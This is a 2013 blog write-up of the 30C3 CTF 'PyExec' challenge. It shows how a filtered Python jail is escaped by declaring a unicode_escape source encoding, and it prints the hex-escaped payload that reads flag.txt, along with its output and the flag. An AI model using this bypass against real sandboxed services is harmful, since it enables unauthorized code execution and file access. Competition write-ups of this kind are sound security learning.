Monday, December 30, 2013

30C3 CTF 2013 - Sandbox 300 PyExec writeup

Description
PyExec running on http://88.198.89.213:8080

We have sources of python jail. Need to execute code and get a flag.
But before execution almost all python keywords are filtered and regex condition is checked - it's possible to use only lowercase letters, numbers, and certain characters (parentheses, brackets, quotes, and point is prohibited!).
It's known that the first line (or second if shebang is used) of python script can be comment with source code encoding. All supported encodings can be found here: http://docs.python.org/2.6/library/codecs.html
Firstly I tried to use rot13 encoding: 
# coding: rot13
Using this one it is possible to bypass the first filter, but without a point, parentheses and quotes hard to execute all functions (it's possible using exec, and redefinition of python's string.punctuation etc).
After trying other encodings I've found unicode_escape
# coding: unicode_escape
Using this one I've bypassed python jail and executed a code.
Here is my code before encoding to unicode_escape
List files:
import os;print os.listdir('.')
['.bash_logout', 'flag.txt', 'webapp.py', '.bashrc', '.profile', '.viminfo', '.cache', '.bash_history', 'static']
Excelent, flag.txt file is found. Let's read it:
print open('flag.txt').read()
After coding to unicode_escape:
# coding: unicode_escape
\x70\x72\x69\x6e\x74\x20\x6f\x70\x65\x6e\x28\x22\x66\x6c\x61\x67\x2e\x74\x78\x74\x22\x29\x2e\x72\x65\x61\x64\x28\x29

We get a flag: 30C3_2a2766d9cf4a137d517a8227bd71d59d